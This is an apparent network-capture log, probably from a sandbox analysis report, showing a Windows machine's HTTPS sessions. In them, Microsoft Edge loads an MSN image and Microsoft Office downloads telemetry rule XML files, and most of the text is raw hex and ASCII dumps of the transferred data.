2024-11-20 20:05:57 UTC	16384	IN	Data Raw: aa 22 99 f9 6b 19 8e 77 33 6f 51 d3 7b 52 bb 5c f6 1a ae 74 35 d8 43 c0 24 41 d4 13 73 6c 8c cc 2f 4d d1 f5 fd 4d 50 7b cd a2 db d8 e2 20 e1 1a c8 b8 91 68 e6 be 44 f7 f7 5e 26 24 72 f7 ec 5f 50 a2 05 5a 67 0b b2 64 43 da e2 08 1b c2 d3 a5 b5 4f cd 78 45 c7 3f ca bf b9 78 63 1f 24 cc 4f 2e dc 6f fb 3d 47 ee 31 59 98 4c 6a 66 47 95 84 ac 7e b7 af a9 d2 d3 73 81 6e eb 9a 0e 21 91 8c 94 a8 b1 ad 30 64 98 33 bd 61 c8 95 e5 fd b0 e6 d1 a6 69 10 48 aa 06 fe 42 0c c5 ef 7b dd 70 78 f2 cf 3f 24 45 cf 7f c9 d9 9e 38 61 86 53 51 b4 08 67 fe a4 13 15 28 cf 22 c7 41 3f e1 74 81 6f e2 5e 8a 8f b6 3a 2a c7 0f 70 b1 dc 9c d3 f7 12 17 c4 19 f1 0b da 5b 7e 56 5e 8a 83 5a de bb a7 68 3f ad d2 fe 77 b1 1b 32 5e d6 78 63 1d 7b 4c fd 9e 3e 13 33 d3 bc 47 dd f6 b6 96 d4 68 73 Data Ascii: "kw3oQ{R\t5C$Asl/MMP{ hD^&$r_PZgdCOxE?xc$O.o=G1YLjfG~sn!0d3aiHB{px?$E8aSQg("A?to^:*p[~V^Zh?w2^xc{L>3Ghs
2024-11-20 20:05:57 UTC	1746	IN	Data Raw: 05 67 96 31 94 54 c3 4c 73 9c 66 e2 68 5d 46 00 03 80 c6 48 69 27 2b 7e 91 cb 8a f2 3e d0 79 73 c3 03 4c 86 cc 8b 83 9d c0 d2 01 d5 7a 2a cf 34 e9 3d c6 74 c2 0e 86 4e 97 17 e2 bc b8 7f 78 be a3 ea 9a 75 1a 0e 11 1f 19 68 82 d9 ca da 6b c5 65 3b 45 1c cd cf 46 28 6e 26 98 8d d3 61 a3 b3 fa 2d fa d5 1b 5b a5 a4 4f f6 94 06 03 1f a9 84 cb 49 3c db 70 b2 dc f0 34 6b 65 e0 58 0f 3b 48 91 e2 a4 29 e3 a2 5d 2d 02 6c 26 e2 73 d8 38 2c 27 91 dc c5 c7 58 dd 5d ca ac 6b a3 47 80 cd 01 b1 20 d8 99 83 23 28 52 2c ab d4 b3 f4 83 49 82 d2 05 9b ef 8f 32 ab 0c 16 b6 c4 5e fc ac 94 25 ae 76 b8 70 81 33 96 5b 51 12 ce e4 b3 45 ed 8d eb 96 cb bf 85 a7 6e b6 bd 97 b0 a0 fa 6e a6 30 0b 09 03 15 c9 00 eb 99 13 c5 79 ba 1d 3b ab e2 38 9a 19 4c 09 71 70 6c 65 00 bb dc b6 1a fa Data Ascii: g1TLsfh]FHi'+~>ysLz*4=tNxuhke;EF(n&a-[OI<p4keX;H)]-l&s8,'X]kG #(R,I2^%vp3[QEnn0y;8Lqple
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: 72 b2 ac 70 9c 8b 29 88 de ef f1 d9 ed e9 50 a0 c0 e2 61 87 f8 88 1e 1a 22 31 35 8d 3b cc f2 9f f2 5f 1f ac ea d4 9e 03 2a 3c 92 05 c3 89 12 7f 4d ac 48 f1 5a 1f bc ab 4a a9 c5 55 ce c0 cb 4f ea 23 97 2d ed 38 05 d1 3f c7 99 ff 00 75 b1 8f 34 47 78 ad fe 8f a4 8a a6 c0 16 93 a7 c4 2d c2 fa a1 cd 37 bd ae 71 0d bc ea d1 a7 85 97 82 a7 ed 4a c2 a7 f6 b2 c3 04 df 08 16 d2 e0 95 ed 99 ed 70 c2 de e3 66 5a 30 b4 16 92 67 f5 11 fa 5b 1c f5 53 3e 09 c6 95 1e 58 ca c9 6d 06 88 0e 02 1d a4 d8 ff 00 e6 4e 14 62 c2 a6 01 ac 62 10 23 33 bd 11 b5 05 5f db 46 a3 e2 83 44 5c cb a7 94 81 02 22 40 28 76 fb 5a ab 1e 59 14 b7 cc c8 69 90 de 62 64 17 70 8f 44 be 3c ed 7a f1 a6 97 51 4f b6 d1 86 a5 1a af 3a 0a 6d 93 e2 db 78 ad 3e 96 95 7e 94 12 e0 00 76 a5 a6 5c 00 bc 61 3e Data Ascii: rp)Pa"15;_*<MHZJUO#-8?u4Gx-7qJpfZ0g[S>XmNbb#3_FD\"@(vZYibdpD<zQO:mx>~v\a>
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: ab 88 4c 21 08 77 04 64 49 54 19 88 c6 a8 04 b1 18 bb 01 07 8a 61 69 1f e4 a4 d2 08 9e 8e 1a e7 bd dc a0 71 25 0a 25 fa 0b 66 79 22 f0 c0 00 42 53 bc 51 c6 d3 66 d5 a8 1d 26 e2 79 2c d6 c3 9f c3 ec 8a c2 62 f7 29 10 ae 22 99 ce e6 90 d1 97 90 59 c6 4d 53 3e 08 bc d2 70 cb a5 52 47 e0 b0 13 aa 7b 80 c1 96 57 84 13 4b ac 26 fa ca 3a 88 15 0c 38 d8 72 cf 82 99 d9 a4 6f 2b e9 ab b2 88 70 73 a0 16 91 27 3e 1e 0b 2a ab 8b fc 89 8f 34 7d 6e 95 92 4e 2c 52 67 2b 7a ac 97 34 b7 4b 64 a6 2b ba f2 99 88 d3 3c 97 4d d8 46 72 99 73 ac f9 28 02 a7 2e 00 ab 64 e2 cf 5e 69 a2 8b 9d 61 03 8f 35 dd c2 5e 09 8b 08 13 a6 8b 47 a7 78 35 04 da 01 8c c4 c7 cc 28 9d a1 a6 31 13 2a 7d 16 50 bb 88 79 d0 34 58 0d bf 44 75 26 cb 1b 51 e0 00 6f 03 86 64 7d 82 cd a9 84 93 a9 13 ae 67 Data Ascii: L!wdITaiq%%fy"BSQf&y,b)"YMS>pRG{WK&:8ro+ps'>4}nN,Rg+z4Kd+<MFrs(.d^ia5^Gx5(1}Py4XDu&Qod}g
2024-11-20 20:05:57 UTC	7952	IN	Data Raw: a6 60 32 a7 3d c3 ea 7e a8 7c c6 cd 73 4e d2 79 10 3d 0a 62 19 6a d5 91 05 41 52 92 53 09 73 c1 30 5e 53 4a 7a 2e 11 ca ea b6 a8 5e 61 23 68 49 c3 f4 41 df 52 9d 30 dc d0 63 e6 50 42 c9 90 85 b1 4c 71 d1 25 04 62 ab ca a9 e0 a9 30 66 b0 99 29 59 66 a8 a0 27 2a 22 c5 45 76 68 07 93 f0 7c e6 ba 25 87 fd d3 f7 51 02 cd d9 ef 55 3b a7 6a 64 91 74 c7 2c 87 cf 35 64 e4 96 3d de f5 77 e4 90 41 12 4e 51 68 41 94 58 71 00 70 08 35 11 10 67 12 5b b5 4d 82 73 e3 c1 0e e1 05 04 90 54 35 2a db 9e c5 11 aa 0c 45 33 a8 f5 56 eb 68 52 9b aa b3 21 04 b6 eb e6 8a f2 f0 41 0d 6c 8c 87 0d 3c 10 45 54 b2 53 33 d8 99 50 5b 42 12 c5 93 06 a8 6a e5 31 3f 3f 8a 54 dc ca 01 b8 9c d7 0f 7a 8b cd 85 bc fd cb b4 5c f3 22 67 c9 01 cd cb de aa 77 8a e6 aa 77 c4 80 a4 c9 d3 ee 95 7d aa Data Ascii: `2=~\|sNy=bjARSs0^SJz.^a#hIAR0cPBLq%b0f)Yf'"Evh\|%QU;jdt,5d=wANQhAXqp5g[MsT5E3VhR!Al<ETS3P[Bj1??Tz\"gww}
2024-11-20 20:05:57 UTC	12216	IN	Data Raw: 71 09 0f c6 4d a6 3f de 7e 89 fc 70 9f 96 5e e9 bd 4b bf d5 1e 09 ce ea f0 8b d4 1e 6d fc 4a f9 e8 91 f8 c7 d6 54 1d 58 0f d4 06 c6 4f dd 2f 8e 15 f2 cb df fe fe ff 00 da 7f db f8 26 fe f6 74 78 f3 20 7b d7 ce 45 4a 45 c3 13 c9 da 07 b9 4d ce a3 7b 8f 07 7d 53 f8 f1 29 f2 e4 fa 10 ea 9e 35 ac dd 92 3e a5 5f ef 8f fa a0 7f 88 7d 17 ce 5b 07 42 d3 b5 51 24 66 d3 c2 df f5 2b f8 e1 9f cb 2f a2 3b af 04 7f 6a df e6 3f 45 11 d6 da f5 5b e6 e5 f3 63 55 bc 80 f3 8f 71 51 35 5b 17 71 fe 6f c1 2f 8f 13 f9 72 7d 30 f5 cc 1f f2 0f 27 7e 08 7f de b0 e9 50 7f 30 fa 2f 9c 8a f4 ef 67 1f 32 a1 df 6f 27 fc f9 2a d1 08 f9 32 7d 23 f7 61 c2 d5 40 f3 1f 45 7f b8 1f ea 03 c6 fe e6 af 9b 97 b5 c3 e0 70 f3 5d 89 b1 67 10 55 69 84 eb 97 d3 85 77 45 aa 37 f9 a0 fa 85 13 59 c7 fe Data Ascii: qM?~p^KmJTXO/&tx {EJEM{}S)5>_}[BQ$f+/;j?E[cUqQ5[qo/r}0'~P0/g2o'*2}#a@Ep]gUiwE7Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	49886	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:56 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 28 Oct 2024 02:09:55 GMT X-Source-Length: 116349 X-Datacenter: eastap X-ActivityId: f2ff290f-82c6-4dc0-87ef-4eddf77d3861 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=324282 Expires: Sun, 24 Nov 2024 14:10:38 GMT Date: Wed, 20 Nov 2024 20:05:56 GMT Connection: close
2024-11-20 20:05:56 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-20 20:05:57 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: /!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-20 20:05:57 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-20 20:05:57 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200556Z-185f5d8b95crwqd8hC1NYCps680000000an0000000012k10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:57 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:58 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200558Z-178bfbc474bmqmgjhC1NYCy16c00000000gg000000006f5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:58 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
